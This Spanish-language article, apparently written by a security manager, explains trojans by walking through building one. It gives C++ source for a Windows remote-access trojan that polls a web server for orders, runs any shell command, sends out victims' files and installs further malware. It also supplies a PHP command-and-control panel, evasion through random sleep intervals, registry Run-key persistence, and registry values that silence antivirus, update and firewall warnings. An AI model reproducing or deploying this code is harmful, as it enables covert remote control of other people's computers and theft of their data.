Autor:
Carlos Boto Coto
Gerente de Seguridad Gestionada
Introducción
Podría pensarse, que después de más de veinte años de convivencia con los troyanos, éstos ya no suscitan ni el mínimo interés ni suponen ningún tipo de amenaza, pero considerando que actualmente todavía constituyen el 83% del malware detectado, no se debería bajar la guardia subestimando su potencial peligrosidad.
Un troyano es un programa malicioso cuyo principal propósito es obtener, sin autorización, el control remoto de un determinado sistema. No puede ser considerado como un virus, ya que no dispone de una rutina de difusión propia, por lo que requiere de la intervención de un usuario malicioso para su propagación. El troyano, de forma oculta, crea puertas traseras o backdoors y permanece dormido esperando a recibir órdenes remotas del hacker que lo manipula.
Objetivo de un troyano
Este tipo de malware es creado para permitir el acceso remoto no autorizado al sistema donde se instala y poder llevar a cabo diferentes acciones, como por ejemplo:
- Robo de información: transferencia de ficheros, contraseñas, capturas de pantallas, pulsación de teclas, direcciones de correo, cuentas bancarias, etc.
- Instalación de otro tipo de malware.
- Borrado de huellas. Eliminación de ficheros e información comprometida.
- Hacer que el sistema forme parte de una botnet. A través de una red de bots, se pueden llevar a cabo diferentes ataques: denegación de servicio distribuida, propagación de spam, etc.
Estructura de un troyano
El troyano utiliza una arquitectura de comunicaciones cliente-servidor. La aplicación cliente envía órdenes al servidor y éste ejecuta las acciones asociadas al comando recibido. El servidor permanece oculto en la computadora infectada, y el usuario malicioso utiliza la aplicación cliente para interactuar remotamente con su troyano. Para explicar mejor su funcionamiento, vamos a ver cómo crear el esqueleto de uno concreto.
Requisitos mínimos
A la hora de crear un troyano hay que tener en cuenta los siguientes requisitos de obligado cumplimiento:
- R1. Ocultación. El troyano tiene que ser programado para infectar silenciosamente y ocultar su ejecución tanto al propietario del sistema infectado, como a las soluciones antimalware instaladas.
- R2. Bajo consumo. El malware no puede ser pesado, ya que de lo contrario la víctima notaría una bajada de rendimiento del sistema y podría sospechar de su presencia.
- R3. Supervivencia. Pase lo que pase, el troyano debe de sobrevivir y debe mantenerse siempre en ejecución en espera de instrucciones del usuario remoto que lo manipula.
- R4. Traspaso de barreras. La comunicación entre el troyano y el hacker debe estar siempre activa y debe traspasar barreras generadas por cortafuegos o filtros en las comunicaciones.
Arquitectura
En nuestro ejemplo práctico, crearemos la estructura base del troyano que utilizará un servidor web como intermediario para recibir órdenes de su cliente. Todas las conexiones se realizarán mediante el protocolo de aplicación http y a través del puerto 80 del protocolo TCP. Por lo tanto, si la computadora infectada tiene acceso a Internet, ya se habrá cumplido el requisito R4.
Cuando el hacker quiere manipular la computadora de la víctima, envía al servidor web la orden que posteriormente recogerá el troyano (paso 1). El servidor web almacenará el comando recibido hasta que el troyano realice una solicitud mediante una petición http al servidor web (paso 2). En la respuesta de la petición http, el troyano recibirá la orden (paso 3), y en máquina infectada ejecutará las acciones asociadas al comando recibido (paso 4). Una vez finalizada la ejecución de las acciones, el troyano enviará el resultado de las mismas encapsulado en una petición http al servidor web (paso 5). El cliente solicitará al servidor web el resultado de la ejecución de la orden (paso 6) y se lo presentará al usuario malicioso (paso 7).
Características
Nuestro troyano será creado para la plataforma Microsoft Windows. Para empezar a cumplir el requisito R2, utilizaremos el lenguaje de programación c++, y activaremos las opciones de optimización de rendimiento del compilador. Para simplificar, al troyano ejemplo se le han reducido significativamente el número de posibles acciones que podrá realizar sobre la máquina infectada y únicamente será capaz de realizar las siguientes funciones:
- Ejecución de cualquier comando del shell de Windows: navegación por directorios, listado de directorios, etc.
- Robo de información. El hacker podrá descargar cualquier fichero de la víctima.
- Subida de ficheros. A través de esta función, por ejemplo, el hacker podrá infectar la computadora de la víctima con nuevas versiones de malware.
Cuerpo principal
En el cuerpo principal, únicamente crearemos un hilo de ejecución que será el encargado de solicitar al servidor web los comandos enviados por la aplicación cliente y de la ejecución de los mismos.
Troyano.cpp
int main(int argc, _TCHAR* argv[])
{
//Creamos el hilo de ejecución principal
HANDLE hThread =CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PrincipalThread, 0, 0, 0);
//Esperamos indefinidamente hasta que el hilo termine
WaitForSingleObject(hThread, INFINITE);
//Cerramos los handles del hilo
CloseHandle(hThread);
return 0;
}
Hilo principal de ejecución
El hilo principal utiliza dos objetos de apoyo: navegador y ejecutor. El objeto navegador de tipo CHTTP, encapsula todas las funciones para interactuar con el servidor web:
- requestGET(). Realiza al servidor web una petición http de tipo GET con la finalidad de obtener el comando enviado por el hacker.
- requestPOST(). El troyano utilizará este método del objeto para enviar al servidor web los ficheros robados y las respuestas de los comandos ejecutados. Este método encapsula una petición POST del protocolo http.
- dowloadFile(). Permite al hacker copiar cualquier fichero en la máquina infectada.
El objeto ejecutor del tipo CEjecutor proporciona el método basicSheell que interactúa con el Shell del sistema operativo para ejecutar cualquier comando de la consola de Windows.
Ejecutor.cpp
void CEjecutor::basicShell(string sComando)
{
try {
string sFinal=" /c " + sComando + " > mswdell.dat";
WCHAR wstr[2048];
size_t convertedChars = sizeof(wstr)/sizeof(WCHAR);
mbstowcs_s(&convertedChars, wstr, sFinal.c_str(), _TRUNCATE);
ShellExecute(NULL, NULL, __T("cmd"), wstr, NULL, NULL);
}
catch(...) {} //captura de excepciones
}
Troyano.cpp
DWORD WINAPI PrincipalThread(PVOID)
{
string sRespuesta, sComando, sFichero, sOrden;
int tipoOrden;
CHTTP* navegador=new CHTTP();
CEjecutor* ejecutor=new CEjecutor();
srand((unsigned)time(0));
int random_integer;
int lowest=5000, highest=15000;
int range=(highest-lowest)+1;
while(true)
{
sRespuesta = navegador->requestGET();
tipoOrden = ejecutor->getTipoOrden(sRespuesta);
sOrden = ejecutor->getOrden(sRespuesta);
switch(tipoOrden)
{
case 1: //orden para ejecutar cualquier comando del shell de Windows.
ejecutor->basicShell(sOrden); navegador->requestPOST("mswdell.dat",0);
break;
case 2: //orden para el robo de información
navegador->requestPOST(sOrden.c_str(),1);
break;
case 3: //orden para enviar cualquier fichero a la máquina infectada navegador->downloadFile(sOrden.c_str()); break;
} //fin del switch
random_integer = lowest+int(range*rand()/(RAND_MAX + 1.0));
Sleep(random_integer);
} //fin del while
delete navegador;
delete ejecutor;
// Return and terminate the thread
return 0;
}
El hilo principal quedará dormido durante un tiempo aleatorio entre cinco y quince segundos, esto ayudará a cumplir el requisito R1 de ocultación, ya que una conexión http que no sigue un patrón regular pasará desapercibida ante la mayoría de soluciones antimalware que lo considerarán como una navegación web normal.
Aplicación cliente
El hacker podrá controlar el troyano a través de Internet accediendo a una página denominada main.php localizada en el servidor web que interactúa con el malware. La página tendrá un formulario sencillo donde se puedan introducir todas las órdenes interpretables por el troyano. Asimismo, la interfaz presentará el resultado dado por la ejecución de los comandos en la máquina infectada.
A continuación se detalla el código ejemplo de la página main.php
main.php
<html>
<body>
<div style="width:50%; float:left;">
<form action="main.php">
<h3>Order</h3>
Execute command <span style="font-size:small"> (with quotation if path include white space)</span>
<input type="text" id="command" name="command" style="width:100%"/>
Get file <span style="font-size:small"> (always without quotation)</span>
<input type="text" id="fileGet" name="fileGet" style="width:100%"/>
Put file <span style="font-size:small"> (remember the port)</span>
<input type="text" id="filePut" name="filePut" style="width:100%"/>
<input type="submit" value="Send"/>
</form>
</div>
<div style="width:100%; float:left">
<hr/>
<?php
$pre = "<html><head></head><body>";
$post = "</body></html>";
$order = "";
if(isset($_GET["command"]) && !empty($_GET["command"])) {
$order = $_GET["command"];
$order = str_replace("\\\\", "\\", $order);
echo "Refreshed order file to execute command: <b>". $order . "</b>";
$order = "{Ejecuta orden shell}".$order;
}
else if(isset($_GET["fileGet"]) && !empty($_GET["fileGet"])) {
$order = $_GET["fileGet"];
$order = str_replace("\\\\", "\\", $order);
echo "Refreshed order file to get file: <b>". $order ."</b>";
$order = "{Roba Fichero}".$order;
}
else if(isset($_GET["filePut"]) && !empty($_GET["filePut"])) {
$order = $_GET["filePut"];
$order = str_replace("\\\\", "\\", $order);
echo "Refreshed order file to put file: <b>". $order ."</b>";
$order = "{sube Fichero}".$order;
}
else {
$order = "";
echo "Refreshed order file to execute nothing.";
}
$handle = fopen("./ordenes.html","w");
fwrite($handle,$pre);
fwrite($handle,$order);
fwrite($handle,$post);
fclose($handle);
?>
</div>
<div style="width:100%; height:100%; float:left">
<hr/>
<iframe src ="refrescareseultadocomando.php" width="100%" height="100%">
<p>Your browser does not support iframes.</p>
</iframe>
</div>
</body>
</html>
Al pulsar el botón de “send” del formulario, se creará una página web en el servidor denominada ordenes.html que contendrá los comandos que deberá interpretar el troyano. Este último, como se ha explicado anteriormente, realizará conexiones periódicas a esta página en busca de instrucciones para ejecutar.
En el siguiente ejemplo se muestra el contenido de página ordenes.html cuando queremos que el troyano nos liste el directorio de la unidad principal del disco duro de de la computadora infectada:
<html><head></head><body>{Ejecuta orden shell}DIR c:\</body></html>
Por otra parte, la página main.php tiene un iframe que refrescará cada segundo mostrando el resultado enviado por el troyano al finalizar la ejecución de cada orden recibida.
Formas de infección
Quizá algo que ha ayudado a bautizar a este tipo de malware sea la analogía que existe entre el Caballo de Troya de la mitología griega y su método de infección. Un troyano permanece oculto en un programa aparentemente inofensivo, que mientras se está ejecutando con normalidad, infecta la máquina sigilosamente dejándola totalmente vulnerable. El éxito del método de infección radica en la ingenuidad del usuario a la hora de ejecutar programas sin haber comprobado su fiabilidad.
Estas podrían ser algunas formas de infección:
- Descarga de ficheros en redes p2p.
- Archivos adjuntos en correos electrónicos.
- Archivos enviados por mensajería instantánea.
- Visita de sitios web no confiables.
- Página web con contenido ejecutable como por ejemplo Activex.
Supervivencia
La supervivencia es esencial para cualquier tipo de malware. Como se ha mencionado anteriormente, uno de los requisitos principales que debe cumplir un troyano es estar siempre en ejecución en espera de las órdenes de su amo. Para lograr este objetivo, el malware puede modificar la siguiente clave del registro para que se ejecuten al inicio de cada sesión del sistema operativo Windows:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Valor: c:\mitroyano.exe
Además, podremos dotarle de mecanismos de ataque y hacer que el troyano deshabilite tanto el antivirus como el motor de actualización y el cortafuegos del sistema operativo. Aunque en nuestro ejemplo, esta última medida no sería necesaria, ya que la arquitectura está pensada para saltar cualquier cortafuegos siempre que la máquina infectada tenga acceso a Internet.
HKLM\SOFTWARE\Microsoft\Security Center
Valor: AntiVirusDisableNotify = 1
Clave: HKLM\SOFTWARE\Microsoft\Security Center
Valor: UpdatesDisableNotify = 1
Clave: HKLM\SOFTWARE\Microsoft\Security Center
Valor: FirewallDisableNotify = 1
Suponiendo que el troyano se infecte a través de un programa que ejecute código Visual Basic, este podría ser un código válido para escribir el registro de Windows:
Private Function EscribeRegistro(sKey As String, sValor As String) As Boolean
On Error GoTo ErrSub
Dim WSHShell, RegTemp
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.RegWrite sKey, sValor
Set WSHShell = Nothing
Esciberegistro = True
Exit Function
Conclusión
La simplicidad de infección de los troyanos hace que sean prácticamente indetectables por la mayoría de las soluciones antimalware, ya que el método de contagio radica en la ingenuidad del usuario a la hora de ejecutar programas sin haber comprobado su fiabilidad. La creación de un troyano puede estar al alcance de cualquiera con mínimos conocimientos de programación. Esto hace que los troyanos aún hoy sean una amenaza significativa para todos los sistemas.